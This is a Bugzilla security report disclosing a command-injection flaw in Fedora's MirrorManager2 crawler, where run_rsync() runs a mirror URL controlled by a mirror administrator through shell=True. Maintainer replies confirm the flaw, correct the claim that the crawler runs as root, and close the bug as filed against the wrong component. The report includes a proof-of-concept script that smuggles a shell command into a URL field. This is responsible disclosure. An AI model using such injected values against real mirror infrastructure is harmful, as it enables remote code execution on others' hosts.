Bug 2567151 - RCE on core Fedora infrastructure - Critical Security Vulnerability
Summary: RCE on core Fedora infrastructure - Critical Security Vulnerability
Keywords:
Status: CLOSED NOTABUG
Alias: None
Product: Fedora
Classification: Fedora
Component: mirrorlist-server
Version: 45
Hardware: All
OS: Linux
unspecified
urgent
Target Milestone: ---
Assignee: Rust SIG
QA Contact: Fedora Extras Quality Assurance
URL:
Whiteboard:
Depends On:
Blocks:
TreeView+ depends on / blocked
 
Reported: 2026-11-04 18:51 UTC by Robert DiNapoli
Modified: 2026-11-05 09:48 UTC (History)
4 users (show)

Fixed In Version:
Clone Of:
Environment:
Last Closed: 2026-11-05 07:08:36 UTC
Type: ---
Embargoed:


Attachments (Terms of Use)

Description Robert DiNapoli 2026-11-04 18:51:22 UTC
Dear Red Hat Product Security Team,

I am writing to report a vulnerability in Fedora's MirrorManager2 that allows Remote Command Execution (RCE) on crawler worker hosts. 
Under the default configuration provided in the repository (utility/mirrormanager.cron), the crawler daemon is scheduled to run as root, escalating this vulnerability to full root host compromise.
Because MirrorManager2 is an open-source package distributed across Fedora and potentially utilized by other affiliated downstream ecosystems, I thought best to contact RedHat directly.

======================================================================
1. VULNERABILITY SUMMARY
======================================================================
- Title: Remote Command Execution (RCE) via Unsanitized Shell Invocation in run_rsync
- Affected Project: Fedora MirrorManager2 (https://github.com/fedora-infra/mirrormanager2)
- Affected Component: mirrormanager2/lib/sync.py (run_rsync) and mirrormanager2/crawler/rsync_connector.py

======================================================================
2. ROOT CAUSE ANALYSIS
======================================================================
In `mirrormanager2/lib/sync.py` (lines 74–90), the `run_rsync()` function constructs a shell command line via direct raw string concatenation with `shell=True`:

```python
    cmd = "rsync --temp-dir=/tmp -r --exclude=.snapshot --exclude='*.~tmp~'"
    if extra_rsync_args is not None:
        cmd += " " + extra_rsync_args
    cmd += " " + rsyncpath
    ...
    p = subprocess.Popen(
        cmd,
        shell=True,
        stdin=devnull,
        stdout=tmpfile,
        stderr=devnull,
        close_fds=True,
        bufsize=-1,
    )
```

The `rsyncpath` argument is passed directly from the `HostCategoryUrl.url` database attribute by `mirrormanager2/crawler/rsync_connector.py` (line 27):

    result, listing = run_rsync(url, self._config["CRAWLER_RSYNC_PARAMETERS"], logger)

Any registered mirror administrator can add or modify their Host Category URLs at will. In MirrorManager2, newly created sites and hosts default to `admin_active = True`, and URL records are committed immediately without an approval queue.

Because `shell=True` invokes `/bin/sh -c`, standard shell control metacharacters (such as `;`, `&&`, `|`, `$(...)`, or backticks) break out of the rsync argument and execute arbitrary shell commands on the crawler node.

Furthermore, WTForms URL validation (`wtforms.validators.URL(require_tld=False)`) complies with RFC 3986, which explicitly allows semicolons, ampersands, and parentheses as valid URL sub-delimiters, meaning the payload is stored unmodified in the database.

======================================================================
3. PROOF OF CONCEPT (LOCAL REPRODUCTION)
======================================================================
The following standalone Python test script demonstrating the exact logic from `lib/sync.py` and `crawler/rsync_connector.py` confirms execution. It proves that wtforms sanitizing does not prevent malformed entries, and the malicious code is executing:

```python

from wtforms import Form, StringField
from wtforms.validators import URL
import subprocess

class MirrorURLForm(Form):
rsyncpath = StringField('rsyncpath', validators=[URL(require_tld=False, message="Invalid URL")])

def test_url_validation(candidate_value: str):
#Validates a test string against the WTForms URL validator
#Populate the form with the test candidate
form = MirrorURLForm(data={'rsyncpath':"http://" + candidate_value}) #adding http prefix for wtforms compliance simulation

#Run validation
passes_validation = form.validate()
print(f"Testing value: {candidate_value}")
if passes_validation:
print("Result: PASSED validation")
else:
print(f"Validation errors: {form.errors}\n")
return passes_validation, candidate_value

#valid rsync_path
test_url_validation("example.com")

#malicious rsync_path
is_valid, captured_value = test_url_validation("example.com/;$(touch malicious_file)")

#simulate execution of untrusted command on org infrastructure as root
cmd = f"rsync -nv test_directory/ user@{captured_value}:" #executes `touch malicious_file`
p = subprocess.Popen(cmd, shell=True, text=True)
p.communicate()

```

======================================================================
4. OPERATIONAL IMPACT
======================================================================
According to `utility/mirrormanager.cron` (line 16):

    0 */12 * * * root /usr/bin/mm2_crawler.py -c /etc/mirrormanager/prod.cfg --threads 75 > /dev/null 2>&1

The crawler runs every 12 hours as the `root` user. Therefore:
1. An attacker registering a community mirror gains root-level code execution on the crawler host.
2. The attacker gains read access to `/etc/mirrormanager/prod.cfg`, compromising master database credentials and secrets.
3. Compromise of the crawler allows potential supply-chain manipulation of valid repository statuses.

======================================================================
5. Closing and Attribution
======================================================================

I have sent 2 emails with this info to secalert, but I have not received a response in 3 days, so I am now submitting through RedHat bugzilla. Please acknowledge.

Discovered and reported by: "Robert DiNapoli (@robertvdinapoli)" . Please credit as such.

Regards,
Robert DiNapoli
contact
@robertvdinapoli

Reproducible: Always

Steps to Reproduce:
see "Details" section
Actual Results:
see "Details" section

Expected Results:
see "Details" section

Additional Information:
see "Details" section

Comment 1 Adrian Reber 2026-11-05 07:07:48 UTC
Thank you for the report. The finding is correct: run_rsync() in
mirrormanager2/lib/sync.py builds the rsync command line by string
concatenation and runs it with shell=True, and the crawler passes the
host category URL, which a site administrator can set freely, into it.
The form validators do not reject shell metacharacters.

Two corrections to the impact assessment, and one to the filing:

1. The crawler does not run as root in either production deployment we
   know of. Fedora runs it as an OpenShift CronJob under a non-root UID
   (https://forge.fedoraproject.org/infra/ansible, roles/openshift-apps/mirrormanager/).
   RPM Fusion runs it in a container as a non-root user.
   utility/mirrormanager.cron in the upstream repository is an outdated
   example file and should be corrected as well. Code execution as the
   crawler user remains a real problem and needs to be fixed.

2. mirrormanager2 is not a Fedora package any more; it was retired. The
   component this bug is filed against, mirrorlist-server, is a separate
   Rust program that does not contain the affected code. There is no
   Fedora package to track; the fix belongs in the upstream repository
   at https://github.com/fedora-infra/mirrormanager2.

Since you have already looked closely at the code, would you open a pull
request against that repository? Replacing the shell=True call with an
argument list (shlex.split() for the configured extra rsync parameters),
adding a regression test, and changing the user in
utility/mirrormanager.cron would cover it.

Comment 2 Adrian Reber 2026-11-05 07:08:36 UTC
Closing as this it the wrong component.

Comment 3 Lukas Javorsky 2026-11-05 09:48:53 UTC
Hi Robert,

Lukas from Red Hat Product Security here, I've double checked all of our queues and I didn't find any email from you to secalert

Can you please forward the email directly to me at ljavorsk so I can investigate why we didn't received the email?


Note You need to log in before you can comment on or make changes to this bug.